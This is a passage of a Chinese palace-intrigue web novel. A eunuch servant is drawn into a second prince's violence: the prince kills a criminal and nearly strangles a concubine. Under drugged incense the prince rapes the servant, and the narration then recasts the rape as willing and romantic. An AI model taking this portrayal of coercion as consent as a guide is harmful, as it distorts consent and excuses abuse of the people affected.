“那你注意安全,”贺璋叮嘱道:“接下来一段时日,我不在京中了,我打算回一趟益州,自考取过功名,我还没有回乡过,这次正好趁益州之事已平,回乡看看。” “闻钟,你有什么想让我帮忙的吗?”比如,益州还有活着的他的家人吗? 方闻钟心里一痛,很快明白,贺璋这时候走,不惹人注意,实际是替六皇子去追查和太子有关的贡品一事的,他对详情知之甚少,父亲活着时,也不可能与他说这个,他手里只有证据,所以只能期望他们快点多查到些什么了。 “没有了,贺哥哥,你也注意安全。” 两人就此分开,方闻钟之后安安分分在萧疏身边伺候,而贺璋在益州,又要经历诸多危险。 半月后,他们在宫外行走,萧疏这次坐了轿撵,外边百姓看不出来他是皇子,轿子也只是稍微豪华了点,里面才是金尊玉贵,他打发外面的方闻钟去给他买一包吆喝的点心,二皇子不吃,只是看来来往往的人都凑热闹,就想买来看看。 把热乎乎的点心递给二殿下,萧疏只闻了一下,便嫌腻味,“太甜了,你吃了吧。” 方闻钟一愣,随即乖乖把点心吃完了,旁边他师父胖太监不开心了,一点没有孝顺师父的自觉,好东西就一个人吃完了…… 方闻钟被他看着,慢慢不好意思,忘了。 他凑近轿子,跟萧疏请示,“公子,我还能再去买一包吗。” 轿子里没声音,一会儿一块银子丢出来,方闻钟赶紧接过,然后绽放出一抹笑容,笑眯眯地看胖太监一眼,跳着去买点心了。 马车继续往前走,忽然,前面街边传来一阵杂音! 貌似是抓罪犯! 领头的是大理寺的人,后面密密麻麻全是统一着装的禁军! 方闻钟和百姓们一起,被挤到一边,他有些紧张地看这是什么情况? 被追的一个人很慌乱!肩膀上一支箭射入其中,在黑衣上已经晕染出血迹,想必是伤得不轻,被围困在这里,他压根逃不了,但还是孤注一掷地做最后的挣扎! 眨眼间!罪犯就看到迎面过来的轿子! 这种马车里面坐着的肯定是贵人,他想都不想,就想冲上去挟持里面的人。 方闻钟看到,来不及提醒,二话不说就穿过人群往二皇子那边挤!罪犯就要手伸进马车里时,一个小人撞出来一把把他推到一边! 方闻钟打扮得乖巧,又长得漂亮好看,这会儿圆眼怒睁,还水汪汪的,自然让罪犯认为他是个年纪不大的小公子,见他这么娇生玉养,想必也是有身份之人! 说时迟那时快,罪犯转换心思,挟持了方闻钟! “啊,”刀尖抵在脖子上,眨眼间划破皮肤流出血,方闻钟才短促地惊叫了一声,顿时吓得不敢再大动作,罪犯抓着他,后背抵上马车,竟还想着钻进轿子里,把里面的人一起抓了,然后挟持他们趁机逃走。 他对自己的身手很有信心,看到来抓他的禁军和大理寺一人,一时都愣在面前,就猜到被他赌对了,他遇上了身份不低的人,他们投鼠忌器。 领头的大理寺少卿,自然看到了方闻钟,方闻钟他不认识,但他认识后边的轿子,近日来谁不知晓二皇子得了皇帝的口谕,经常出宫,他的轿撵,身处高位的人都见过了。 大理寺少卿抬起手,制止禁军,如果真论辈分的话,里面之人,他还要称呼一声表哥。 他抱拳行礼,“得罪……公子了。” 二皇子不想在宫外暴露身份,眼看磨磨唧唧,罪犯心知越拖越危险,愤怒地把刀对准外人,威胁道:“放我离开!不然我杀了他!里面的人也都杀了!” 罪犯已经如强弩之末,方闻钟脖子上又被挟持住,重新划了一刀,血迹直流,就在此时,罪犯和方闻钟,一同感觉一股巨大的力道从里面传来! 下一瞬,两人都被抓进马车了。 方闻钟和罪犯跌在地上,罪犯的手,已被萧疏折断,那把刀颤颤巍巍,掉在离他不远的地方,罪犯抬起头来要看看这个突然出手的恐怖之人。 而方闻钟,还躲在轿壁上,就看到萧疏拔出地上之人肩膀上的箭,一下,直接朝他脖子里插进去! 血瞬间冒上来,溅到马车顶上,前面还嚣张的罪犯,眨眼间死透了,死前还抖了一下,连萧疏的正脸都没看到。 方闻钟吓得浑身在微微颤抖,马车里全是血腥味,车壁上也有血迹,唯有萧疏干干净净。 他把罪犯踢远了点,看着方闻钟的脖子擦手,“我记得,你身上带着一把刀,怎么,是摆设吗?杀人不会?” 方闻钟忍不住和他对上视线,看他。 听到萧疏的话,方闻钟更抖了,却下意识抓住袖中自己的刀。 “拿出来,”二皇子命令他。 方闻钟拿出来,握在手上。 “杀了他,”二皇子又说。 方闻钟:“可是,可是他已经死了。” 萧疏盯着他,方闻钟明白了萧疏的意思,最好听话,听话,方闻钟跪着,握着刀,高高举起,然后听二皇子的话,一下直接将刀插进死透了的人的胸膛。 鲜血和刀进去的阻力,一下子让方闻钟陷入另一个世界,他脸色白到透明,萧疏却接着说:“偏了点,心口在你右面。” “欢欢,你这样可如何是好,在我身边不会杀人,可活不下去。” “再有下次,”萧疏抬起他下巴,看着他脖子,“你就见阎王了,你想要的一切想做的所有都做不到了,意识到了吗?不是他死,就是你死。” 方闻钟渐渐镇定下来,虽然还是在抖,却没那么怕了,他迅速点着头,听进去了萧疏的话。 他是为他好,这次也是二殿下救下了他,不然……方闻钟越想越心惊。 尸体被萧疏一脚踹出去! 跌落在大理寺少卿的脚边,“呃……”他有些语滞,虽然没想着留活口,但就这么落二皇子手里被轻易杀了,他还是觉得有点无语。 二皇子问话,“怎么回事?” 顾大人不得不禀报,“前日有从宜州来的人告御状,说有贡品一事的下落,但昨日,那人就被杀了,杀他的人,正是今天的罪犯,”他看了眼地上死透的人,猜测也是死士,就算抓住了也什么都不会说的。 他禀告的声音很小,只有萧疏一个人能听到,但谁叫里面还藏着一个方闻钟呢。 方闻钟刹那间捏紧手指,不会是贺璋吧? 应该不会,他心沉甸甸的,祈祷。 方闻钟低估了贺璋的脑子,他的确没那么笨,来告御状的,甚至其他分散的几波人,都是吸引注意力的,他才是那个拿到线索,偷偷摸摸从益州回来进京的人。 但他也高估了贺璋的身体,空有脑子,可不够逃命。 贺璋带着一身伤,终于逃入城门,却在一个破烂的小巷子里昏过去了。 昏过去时他想,六皇子一定会派人来接应他的。 二皇子掀开一点轿帘,看到了大理寺少卿,顾大人也是好久不见,第一次这么详细地看他这位表哥,以前他腿还好着时,风光无两,他自然凑不到他跟前,现在腿伤了,貌似更难缠了,京中贵公子,没少在私下里说,得罪谁都不要得罪现在的二殿下。 萧疏瞥了瞥他以及身后的人,随意道:“去跟父皇说吧,”然后帘子就放下来,他的轿撵走了。 顾大人忽然想起来,刚才还被挟持的那个小少年是谁?难不成现在还和萧疏坐着一辆马车? 方闻钟在萧疏冷淡的视线下,自己惜命地把脖子里的伤口处理好,萧疏扔给他一个玉瓶子,里面的药膏清清凉凉的,据说治疗伤痕的效果特别好。 方闻钟把擦完药的指尖抹干净,就听萧疏道:“这个药,还有一个用途,效果也是极好的,欢欢知道是什么吗?” “是什么?”方闻钟距离萧疏一臂之远,抬头认真问话。 “床榻之间,寻欢作乐前用的。”萧疏说着,一把把手里的书随意扔下去,方闻钟心头一跳,却还是忍不住看上去。 那是本小人书,而书中内容,正中萧疏所言,他怎么,二皇子怎么在轿中认真看这个! 方闻钟只瞥了几眼,就开始面红耳赤,而接下来,萧疏的话更让他快沸腾起来,“这是找给你看的,让你好好学学怎么伺候人,”胖太监正好也在外面听到,悄声道:“欢欢,给你的书要好好看,咱们伺候殿下就要一心一意,把殿下伺候好了,我们才舒心。” “……”方闻钟快被两人的话说得着火了,书被推到他手边,他一下拿过来合上,然后面向车壁,不再敢回头了。 耳朵红红的方闻钟,还有点害怕,难道萧疏真的打算要了他吗?他死咬着嘴唇,身体开始不自觉僵硬。 又要眼泪汪汪的。 到了宫里,方闻钟终于不用再在萧疏身边候着,他忍不住吹了哨子,虽然现在还没完全天黑,但多吹几声,暗卫应该会来的吧?他不会遇到危险吧? 方闻钟焦急地在房中等待着,等了一炷香,窗户才被轻轻推开,人已抱着剑立在他面前。 “怎么了。” 暗卫的发梢有点湿,方闻钟立马跑过去担心地拉住他,“你来的时候没碰到二皇子的人吧?”他忍不住絮叨,“这里很可怕,你要小心点,不然被二皇子发现抓住,我们就都完了。” 暗卫坐下,挑眉,“我完了就算了,关你什么事。” 方闻钟:“……你不会供出我吗?算了,你被抓住的话,我会替你求情的,”他颓败地也坐在暗卫身边,听暗卫嗤笑他,“你这么怕他?” 方闻钟的眼睛立马瞪大!这还是第一次听到有人对二皇子这个态度,他仔细好好打量了一番暗卫,直看得他不自在,方闻钟才得出结论,要么暗卫自己就很厉害,恐怕二皇子也不是他对手,要么,他身后之人不怕二皇子…… 方闻钟还是愿意相信第一个猜测的。 “说说吧,既然你知道危险,这时候叫我来,是出什么事了?你怎么了?”他好像才看到方闻钟脖子里包起来的伤,“怎么回事?谁弄的?” 方闻钟赶紧挥下去他的手,“不是这个,这个不重要,两三天就快好了,我找你来是,是,”方闻钟有些难以启齿,“你可以去帮我找一个人吗?去帮我保护他,他就在宫外,现在应该从益州赶来的路上!” 他抓着暗卫的手臂,那么急切,暗卫定定地不动,许久,说:“你让我,帮你去保护别人?” “是,反正我在宫里又没危险。” 暗卫有点咬牙切齿,但以他的身份,不好拒绝方闻钟,其实拒绝了也没什么,但他受不了方闻钟看他的可怜的眼神。 “好,”最终他说。 “叫什么名字?” “贺璋!”方闻钟一下高兴地贴近暗卫,越想越开心,贺哥哥的安全有保障了,他特别希望自己能帮到他。 方闻钟忍不住把脖子里的哨子拿下来,要还给暗卫,“我暂时用不了这个了,”而且被二皇子发现了,他再吹就怕引来麻烦。 暗卫从他脖子里拽下来,他刚感觉到有点痛,就见暗卫重新把一个小巧的红豆一样的珠子戴在他脖子上,“捏一捏,散发出香味,我会找来的。” “好!”方闻钟惊喜,忽然抬头,才发现他和暗卫离得这么近,方闻钟想往后躲,却被暗卫摸了摸头,“保护好自己,”他拿着剑翻身出去了。 方闻钟一时呆住,好半晌才回过神来,摇了摇头,自己去榻上睡觉了。 又是几天过去!方闻钟直到收到暗卫的一封信,才知道贺璋真的出事了!幸好他被救下了,现在贺璋已经进了六皇子那里。 贺璋还以为是六皇子派来的人找到了他,他还心理暖烘烘的,实际上他压根不知晓,从头到尾,哪怕京中闹出那么大动静,都知道有人关于贡品一事告御状,又被杀了,贺璋明明也很危险,可六皇子无动于衷,从始至终都没有让这件事看上去与他有关。 太子再怎么也查不到他头上。 所以,六皇子没有去管贺璋。 他活着回来,是他命大!贺璋是瞒过了太子的人,可贡品牵扯甚广,不止太子不想让人知道,接手的人从上到下都不想暴露,所以一路追杀他的另有其人。 贺璋把一系列线索交给六皇子,“我们能查到的,只有贡品确实在益州出现过,转手的人有以下几些,都是富户豪强地头蛇,还有,里面有太子妃的哥哥,”贺璋指着一个名单,兴奋道:“这下可以查出来太子的把柄了吧。” 六皇子眼波流转,慢慢静下心来,有苗头就好办了,他一定让他的太子好哥哥彻底栽个大跟头! 近日来太子派出去的杀手,真是嚣张无比,六皇子看了眼贺璋,“你下去休息吧,”竟是没有多问贺璋的伤,还遇到了什么事。 “萧琛,”贺璋忍不住浅浅地叫了一声,伸出去的手,连半片衣袖都没抓住,六皇子已经去做正事了。 他垂下头,终于忍不住,身体又昏了过去。 六皇子是急于掰倒太子,但他还没昏了头,此事有两个疑点还要等待时间探查,一是,关于太子和贡品有关的消息,虽说是属下查到发现的,但六皇子总觉得时机有点巧合。 恰好在他刚被太子重创后,不得不反击的时候。 太子的把柄就这么明晃晃递到他手边,真的是他运气好,事情该暴露了,还是另有别人在背后推动? 六皇子光是想想后者,都暗自心悸,他不允许有人当幕后黑手,操纵着他们在前面斗! 这件事不可能跟父皇有关,如果真有第三者知晓,那就只能是他的兄弟们了,六皇子把写着大皇子、二皇子、四皇子、五皇子,四人名字的纸条,在烛台上一一烧干净,最后还是把目光放向二皇子萧疏,无他,他太突兀了。 他决定最后试探一番,他真的有那么安分吗…… 另外,他总要把整件事查得够清楚,手中的东西能彻底压下去太子,他才会出面,硬碰硬和太子对上,告上父皇的朝堂! 月圆之夜,宫中举行宴会,所有皇子都参加了,还有众多女眷和大臣及家人。 就在宴会上,皇帝突然提出要纳一位妃子,妃子长得倾国倾城,清冷怜惜,却蜷缩在皇帝怀里,像一个媚人的狐狸。 女子是六皇子无意发现的,皇帝短时间内立马喜爱她,只是因为,她长得极似二皇子早逝的母妃,那位顾家的唯一的嫡出小姐。 “沁夫人还在冷宫,父皇不妨让她代替原来沁夫人的名分,帮母后打理后宫?”六皇子如此提议到,沁夫人,正是以前的端妃。 他不说讨皇帝心头好,伺候年过半百的皇帝,只说帮皇后打理后宫,皇帝就这么喜爱地接受了他的好意。 然后在今天忽然提出来,“就封她为娴妃吧,”皇帝说:“疏儿,你觉得和你母妃相像吗?朕见到她,忽然很想念你的母妃。” 他一副深情样子,然后说娴妃的娴是娴淑的娴,而曾经的萧疏的母妃,是贤妃。 众目睽睽下,了解往事的大臣只觉得一言难尽,但皇帝此行,他们说了不算,就忍不住看顾丞相,以及其他的顾家人。 顾丞相神在在,一点没有话中人的自觉,对上面的那位女子,不屑一顾。 顾家小辈有些沉不住气,脸上带了些怒意和气愤,却也只敢低头不敢直视龙颜。 然后所有人就都看向被皇帝问话的萧疏,萧疏一手垂在下边,一手却举起酒杯,喝了一杯又一杯,他还有兴致吃菜,在皇帝直视的视线中,慢条斯理说:“比起母妃,姿态差了点,”如是点评道。 皇帝一时哈哈大笑,直说萧疏说得对。 萧琛看向面上毫无异色的萧疏,这场试探,除了他试探萧疏的心性和气量,何尝不是皇帝对萧疏和顾家人的试探。 所以萧疏什么都不能干,他左手垂下去的拳头,已经滴滴渗血,表面上,还笑着应和他们。 方闻钟站在侧边,看在眼里,一阵担忧。 后来萧疏喝了一杯又一杯酒,帝位上的两人如何亲密,都无动于衷,他好似,也没有那么想念尊重他的母妃。 萧琛和皇帝的试探终于落下帷幕,皇帝又突然赐下一些婢女,皇子们身边都有。 而此时,萧疏已经喝醉了,他眼眸迷离,脸色红如桃花,当婢女们带着一身香气快要靠近他时!他一把抓住方闻钟的手,强撑着站起来,然后跟皇帝告罪,“父皇,我好像喝醉了,儿臣,先行告退。” 辞别众人,萧疏转身,一身暴虐之气再也压抑不住,然后此时,方闻钟突然觉得鼻子痒痒的,而萧疏又拽住他手腕的手,更紧了些! 手腕快被捏断了!还有萧疏手里刚才的血迹!全顺着指缝流在方闻钟手背上。 方闻钟开始害怕,而萧疏只说了一句话,“那香有问题。” 然后就用黑沉沉的蒙着一片雾气的眼神看他,他好像,要吃了他。 第63章 他永远会服从于萧疏。 试探过去的十六个时辰后,太子在宫内发疯! 究竟是谁突然想去益州查探贡品的,近来一波一波的人,把益州搅合了个天翻地覆,虽然屁都没查到,但足够让他们草木皆兵!杯弓蛇影! 有些交易出去的贡品,买家也心知东西来历不明,极度恐慌,而还砸在手里等着以后换银钱粮草的,也顿时不敢再出手。 上下皆惧。 属下艰难地猜测道:“会不会是误打误撞?” 前去查的人,都是小喽啰,而且全被他们派出去的人杀了,无论是真查到东西,还是只是诈一诈,他们都不会上当。 “怎么可能是误打误撞!”太子气愤地转身把桌上摺子全甩下去!宽敞的袖子荡漾,他派出去的杀手,都没有暴露,目前看来是把事情解决了,但太子担心,再这么下去,父皇会注意到他的异常。 太子拧着眉,所以真不能再在京中动手了,大理寺那边都很难缠,“确定都处理干净了?没有从益州活着回来的?” “确定,”属下说,他脑子里突然想到一个人,好像前探花郎,贺璋,半月前去益州探亲了,但后来又去了临州拜见恩师,不知现在是否已回来,不过这个应该跟这件事没关系,属下就没向太子禀告。 “那些小喽啰都是谁的人,”太子已经在脑内把自己的兄弟们怀疑了个遍,却听属下道:“不是任何皇子的势力,有些是和大臣有关,但也很牵强,有些纯粹是市井小人,”所以他才猜测是误打误撞,影响不了什么。 “当真?” 太子问。 属下点头,于是他们一致猜测,有人见益州那边出现了好东西,都想去贪一口,那肯定是那些接手的人暴露了马脚,“让他们都小心点,先暂停一段时间,”太子最后吩咐道。 “是。” 人走了,太子近日一直有监视六皇子,萧琛出奇地安分,除了向父皇献女人,好像完全没了和他这个太子作对的想法,六皇子不接触贺璋,不打草惊蛇的谋算,就这样骗过了自以为是的太子。 太子暗暗揣测,比起贡品一事,更重要的是兵马,钱没了还有别的来源。 所以,他紧紧捏着手指,扳指下的拇指都有点发白,他脸上露出一抹难测的笑,该找好新的替罪羊了。 试探后的第十个时辰,萧琛在自己的宫殿内下床,床上躺着一个憔悴柔弱的漂亮女人,细看,竟是那晚皇帝赐下的婢女之一,六皇子又恢复读书人的端方君子模样,而他身后的女人,在榻上留下一片代表贞洁的血迹。 “贺大人呢?”他悄声问。 贺璋现在还不能暴露,所以他就藏在六皇子这边,六皇子去偷偷见他,贺璋本来脸上露出微笑,抓住萧琛的手臂,却被他身上的一阵香气弄得愣住了,他在发呆。 还是萧琛坐下跟他说起太子一事,他才好半晌恢复正常,面色还有些尴尬,不再看萧琛的脸颊。 萧琛说起,查到太子藏匿贡品一事,还真是他们手下的人的大功!没有幕后之人,连他猜测的二皇子,怕也没那本事了,没见到他现在连娴妃那样一个明晃晃侮辱他母妃的存在,都只敢耍脾气,不给好脸,不敢真做什么吗。 六皇子出去时,贺璋突然问了一个无关的问题,“萧,琛,你的皇子妃,定了是谁家的千金吗?” “还未,”六皇子面无异常地说:“还要看父皇的意思。” “好,”贺璋让他走了,人走了,他才突然吐出来一口血,再也憋不住,胸口的伤就这样挣开了! 试探后的第八个时辰,萧疏去往太医院,他腿瘸的姿势更明显了些,恰巧就碰到了刚承过欢被封为娴妃的跋扈女人。 她在指挥着宫女们收拾地方,一颗永远长不大的六月雪,就这样被连根拔起来,清理出去,宫女们收拾时,不小心把一点土壤弄在二皇子鞋上。 萧疏转头看向里面,这是故去的贤妃的宫殿。 萧疏突然嗤笑了一声,后面跟着的胖太监只觉心惊胆颤,二殿下又要发疯了! 是的,萧疏觉得,他不发疯,还真有人一直觉得他好欺负! 命令人把里面搬进去的东西怎么放好的就怎么一一砸出来! 娴妃尖叫!对上萧疏也没有退却,是皇帝给她的支撑吗?萧疏一把把女人拉倒在地上,不让她玷污母妃这里,“滚!”一脚直接把父皇的妃子踹远了! 娴妃捂着自己的肚子,又哭又嚎,要找皇帝做主! 可很快,她眼睁睁看着刚布置好的宫殿,全被清理出去,连那株六月雪,都被重新栽回去,然后厚厚的大门在他们眼前落下,娴妃等人,彻底被赶出来了。 她早派人去找皇帝,正是受宠的时候,皇帝一定会来站在她这边的,她这样想到。 可是看着二皇子疯了的样子,忍不住又刺激他,“挖了的树重新栽上不会活,死了的人也不会重新活过来!” “啊!”男子的大手,一下掐住她细弱的脖子,看到萧疏扭曲的脸和笑,娴妃才开始有点害怕。 但很快,她就顾不上害怕了,脖子里的力道一点点收紧,他竟是要直接掐死她,一点不留手! 娴妃眼神里开始祈求,她说不出话,只顾踢腿,然后眼泪流下来留着细长的指甲的手,直直掰萧疏的手指。 娴妃整个人被提起来,宫女太监们早吓得跪了一地,啜泣低吟。 “住手!”皇帝赶回来了,萧疏回头看了眼皇帝,皇帝突然也被这个儿子的癫狂模样吓住了,“有话好好说,”他忍不住松了语气,“先把人放下来。” 萧疏倒是听话,一把把人直接甩在皇帝脚边,娴妃摔了个狗吃屎,趴在皇帝腿上,她莺莺燕燕的哭泣和诬告还未开始,萧疏就直截了当,“父皇,你怎么宠女人我不管,但是不允许再和我母妃沾边,”萧疏顶着皇帝压抑的视线,一步步瘸腿走到他跟前。 他说:“不然,我一定会弄死她,您若气不过,那就也弄死我。” 萧疏威胁道。 听到这话的只有萧疏、皇帝,以及娴妃三人,一时间,他们都知道他说真的,他真的会不管不顾直接杀了皇帝的妃子,而皇帝想要惩罚他,就得考虑后果。 萧疏的母妃,不止是他母妃,还是顾家人。 皇帝背在后面的手早筋脉绷起,而萧疏,脸颊及脖颈贲张的血管,也一点点落下去,看着这个儿子一瘸一拐离开的背影,皇帝终于心软了些,没那么过分,随意打发了娴妃,“别再碰这里。” 萧疏再怎么安分,还是他曾经最宠的孩子,所以他如此做也正常。 皇帝无视了他的行为。 这些后来传到六皇子等人耳朵,就是萧疏发脾气了,皇帝向着他了,并不知道,有一瞬间,萧疏是真的要弄死人的,当着皇帝的面血溅当场。 六皇子轻视了二哥,而萧疏此时,腿瘸并不是因为刚才的活动,而是昨天一夜,他身上的香气渐渐散下去了,方闻钟踹伤了他的腿。 试探后的第一个时辰。 方闻钟替萧疏擦洗着身上的热气,他浑身烫得离谱,二皇子脸颊发红,一双迷离的眼睛弯弯地看着方闻钟,方闻钟不知怎么就心跳越来越快,越来越不敢看他的眼睛。 他能感觉到萧疏的视线在他身上打量,再轻轻地落到下边。 方闻钟心慌得厉害,替萧疏擦身的手,也开始抖,他灼热的皮肤,烫到方闻钟也觉感同身受。 那有问题的香气,吸入口鼻的不止萧疏一个人,方闻钟也如此,只不过萧疏醉了酒,更严重罢了。 “师父,”方闻钟悄声朝外喊,想把胖太监叫来让别人伺候殿下,他,他想逃出去。 细若蚊蝇的声音刚出口,就被背后一只手紧紧攥住手腕,萧疏的大手又烫又紧,抓住方闻钟的胳膊,他睁不开,一瞬间就疼得眼泪要出不出。 萧疏从水桶里出来,他还清醒着,可方闻钟预感到可能会发生什么,更害怕。 他扔下布巾,往后退了几步,他不知道,他这会儿也香甜可口,如同萧疏最爱的东西那样诱惑着他,勾引着他。 水流顺着萧疏的身体沾湿了一片地,方闻钟躲不过,突然萧疏靠近他脖子,狠狠闻了一口,然后他就被抱起来了。 放在榻上方闻钟看着头顶的一片繁色,忍不住就要拳打脚踢冒犯二皇子,可他们的身型差距如此之大,萧疏还功力不浅,他如何是对手。 很快,方闻钟被扒得干干净净。 方闻钟哭了,他忍不住咬萧疏的手腕,萧疏靠近他时,他结巴道:“殿下,殿下,我去帮你找婢女解决吧,”他知道他酒后加上药,急需纾解,可方闻钟不愿躺在这里的人是自己。 “殿下,外面有女人!”他大喊,皇帝赐下的人跟来了,可不知道被胖太监拦在了哪里。 萧疏说了第一句话,他口吐热气和淡淡的酒香,细咬着方闻钟的耳朵说:“你不就是吗?也差不多……” 方闻钟刹那间心碎,耳朵又疼又痒,他却觉疼到了心里胃里。 “我不是女人,我不是,”他猛地摇头,换来独属于他的特殊位置,被萧疏贴在手掌,他什么都不用说,就够表达意思了,也够方闻钟看得明白,偏过头绝望地闭眼。 后来,他挣扎过,试图逃过,终究没有再像那次逃脱老太监的桎梏一样逃离萧疏身边。 萧疏强迫了他,尽管他好像贴心地顾着他的身体,可他不顾他的意愿。 被打开的刹那,方闻钟整个人弓起,他眼眶都要炸开,红成一片,他抓着萧疏坚硬的手臂,萧疏却忽然低头,舔上了他那颗戴在脖子里的红珠子。 红豆大小的珠子被他在嘴里细细抿舐,牵扯的那根绳子也拉到方闻钟脖子。 男人的目光没看他,他专注地玩弄那个新链子,方闻钟忽然松手,从手边拿过一个什么东西。 赫然正是暗卫送给他的那把刀,刀鞘拔掉,他双手举着刀,高高竖在萧疏背后。 萧疏一动,他剧烈的又疼又不舒服的感觉让方闻钟颤抖不已,手也开始抖。 刀尖向下,方闻钟眼角的泪滑下来,冰冰凉凉的。 萧疏终于放开了那个红珠子,然后短促间,轻粘贴他的嘴唇,萧疏没用他的嘴巴亲方闻钟,却把他过热的温润的脸颊,不小心贴在方闻钟唇上,然后他喘气动着低吼,“欢欢,欢欢,你果然很有意思。” 方闻钟手里的刀突然落下,却是一下掉在地上,发出一声脆响。 他一只手臂无力地垂在榻外,另一只手臂也舒展开。 他为什么要叫他的名字,为什么要让他心软。 方闻钟卑微地承受着,承受所有萧疏带给他的强烈、刺激,和莫名其妙的颤抖。 后来他越哭越凶了,其实不那么疼了,反倒觉出些愉快,可方闻钟却眼泪要把床淹过似的,他不接受萧疏把他当女人强要了他后,他还恬不知耻地这么快就在心里饶恕了他,身体接受了他。 他开始扭着躲人,被萧疏一把就从腰上拽下去,更贴合。 “欢欢怎么没学书上的那些东西?” “欢欢不好学,懒惰。” “欢欢不用药,也够了。” “母妃,母妃……” “他们都该死,都该死。” “我会替你报仇的,我会替你解决所以你不喜欢的人……” 二皇子开始胡言乱语,当萧疏的一滴眼泪砸在方闻钟脸上时,久哭不停的方闻钟也愣了一下。 他抬眼,就看到萧疏的眼皮晶莹剔透,他看不出刚流过泪,但表情是悲伤的,是压抑的。 方闻钟忽然就不爽,又不是只有他一个人有母妃,他自己的爹娘还惨死在太子手里! 想着想着方闻钟迁怒,不知哪来的胆子,恢复了些力气一脚就踹向萧疏的断腿,二皇子瞬间疼得也叫了一声,再抬起头来时,像要直接弄死这个不知死活,不知自己处于什么地位的小太监。 方闻钟彻底告别了自我控制,他的灵魂像要被撞出身体,他整个人四分五裂张牙舞爪地在榻上扭曲,他的嗓子被萧疏压住,所有声音都堵在喉咙! 方闻钟感觉腿断了的人是自己,被分成两半的人也是自己。 有人从中间,施以极刑,让他痛!让他不是自己!彻底变成了个他所有想像里最符合的小倌的样子。 不知道时间过了多久,当方闻钟像块泥一样被萧疏拨来拨去时,他眼睛已经肿成了核桃。 趴在榻上,萧疏打开了早先抹脖子的青玉色瓶子,一点一点把药抹上去,然后说:“后边需要。” 方闻钟再次被占据,他讨厌萧疏,萧疏把他当成了个哪里都能用的东西,而不是人。 新一轮恐惧和颤抖又开始,他今天彻底长见识了,知道二皇子曾说的对他感兴趣,不止包括那里,还包括,还包括…… 方闻钟恨不得钻到床榻下面去!脸红得如同煮熟的嫩鸭子,细弱的身体,被完全覆盖,方闻钟的调用和难受通通被萧疏堵在口间。 这次,他用自己的唇从背后侧过头亲上了他。 他们面面相对,可看不到对方的眼神,方闻钟一片模糊,萧疏好像闭着眼,唇瓣上的甜腻和麻痒,却让他慢慢下坠,下坠到二皇子编织的一个美好的梦里。 他好似又回到了三年前,繁花、烈马,腰上被骤然提起。 他趴在他的马上跟着他驰骋,马停后,他被放下来,然后眼睛再也离不开他。 而那时的二皇子,转身就走,看都未再看他一眼。 他被他亲著,方闻钟没有出声,安安静静地享受,直至很久,他们唇瓣分开,方闻钟才死死闭眼。 他知道,他这一生,永远会输给他。 永远会服从于萧疏。 他的殿下。 翌日清晨,虽然方闻钟走不了路,只能老老实实躺着,但其实他被收拾得很干净,住的地方也是。 没有人打扰他,只有精致小巧的食物,被一件件摆在他面前,彷佛他也是个被伺候的小主子。 方闻钟可不敢摆架子,急忙要起来,被后来进来的胖太监阻挠了。 他笑得慈祥把方闻钟按住,“就这样吃吧,”对他说,然后眯眯眼看他,早上殿下起来时,神清气爽,胖太监知道发生了什么,只有在看到殿下腿疼时,忍不住责怪了一下方闻钟。 不过很快他就放心了,殿下自己都没责怪,他就不用瞎操心。 吃完了东西,方闻钟僵硬地直挺挺躺下去,接下来该怎么办。 正这么想着时,突然他的窗户一动,眨眼间熟悉的暗卫已经抱着剑,立在他榻边,他侧身站着,垂眼看他。 方闻钟惊道:“你怎么白天就来了。” 暗卫无聊地说:“因为昨夜你捏了一夜的珠子,我自然便来了。” 方闻钟头上被一蒙棍,他知道了暗卫说的是萧疏一直在玩那颗红珠子! “你,你,”方闻钟艰难道:“你从昨夜就来了?” “……” “你一直在外面吗?你知道发生了什么?” “……” 方闻钟眼泪被激出来了,他有点慌,弯腰看方闻钟,“你觉得你有生命危险吗?你觉得昨夜二皇子在欺负你吗?” 方闻钟怒目圆睁,难道说不是吗?! “那我昨晚该出现吗,帮你一起把他杀了?你自己都没动得了手,是下不去手,我就可以?我这样做了你会感激我吗?” 暗卫话多得异常,方闻钟却察觉不出来,他像死了一样闭上眼,没想到这些动作,都被暗卫看在眼里。 “说话,”暗卫说,他突然像第一次见时那般冷酷,“以后二皇子这里,他靠近你,我就出现保护你?帮你把他杀了?” 似乎只要方闻钟敢说是,他下次就敢这样做。 “不要,”方闻钟偏过头去,一滴眼泪从眼角滑下来,他快速用手蹭掉,然后转头看向暗卫,“我,我只是不好意思,”他所有的秘密都被眼前这个暗卫知道了,而他对他,知之甚少! 他竟这样说…… 暗卫忍不住又确认了一遍,“你昨晚,是不情愿的吧,那你恨那个人吗?” “你想报复他吗?一个瘸子,”暗卫嗤道:“你不用怕。” 他总是这样理直气壮,方闻钟第一次接触暗卫,不知道所有的暗卫是不是都像他一样,仗着自己身手好,在皇宫里来去自如,对皇子们喊打喊杀。 “不!”方闻钟紧急之下抓住他的袖子,许久,他才期期艾艾:“不要动他,我,我是自愿的。” 暗卫手臂僵住了,方闻钟越来越说服自己,直视自己的内心,不甘愿的话,他宁愿死吧。 他其实早就爱慕于他。 委身于他,不是一件让他痛不欲生的事。 他的颤栗暗卫都看在眼里,屋外突然有脚步声传来,暗卫和方闻钟齐齐看向对方,都警觉起来,方闻钟示意他赶紧跑,暗卫却从怀中拿出来一包点心,偷偷塞给他,“益州来的,冷藏的云冰糕,”弄来这个可废了不少功夫呢。 方闻钟痴傻地握着以前最爱吃的零嘴,来京城后就再也没吃过了。 现在突然被沉甸甸放在他手里,如同记忆里的家也一同被放在手心。 硕大的泪珠啪嗒掉在点心上,他一边把东西藏起来,一边念叨:“暗卫哥哥。” “可比萧疏好多了。” 第64章 意料之外的亲吻。 萧疏被扶在外面晒太阳,从太医院回来,他被强制勒令不能随便动,伤腿包成了胖胖的一截,看到方闻钟出来,低着头躲他,他招手,“过来。” 方闻钟本想假装没听到的,但刺目的视线一直落在他身上,方闻钟不会走路了,只好乖乖过去二皇子身边。 萧疏让方闻钟把箭靶上的箭拿过来,他坐在椅子上,手臂拉满弓,嗖得一声,弓箭直直射入箭靶一大截,才停止颤动的箭尾,正中靶心! 方闻钟跑了几趟,还要用力把箭拔出来,好费力,没一会儿他就在太阳下蔫巴了,双腿,以及腰上,还有那两个部位,都疼得让他禁不住变脸。 萧疏好像才看到他的异样,箭又拉满,这次却没射出去,萧疏说:“疼吗?” 方闻钟反应了半晌,才反应过来他是在问自己。 沐浴时,看到腰上腿上一片青痕,方闻钟还以为自己遭遇暴打了,承受了难以容纳的东西的两个地方,他碰都不敢碰,也不敢看,方闻钟只觉得又羞又难过,他是被萧疏彻彻底底玩坏了吧。 方闻钟低着头,眼眶却因这两个字开始湿润,萧疏也说:“疼就对了。” 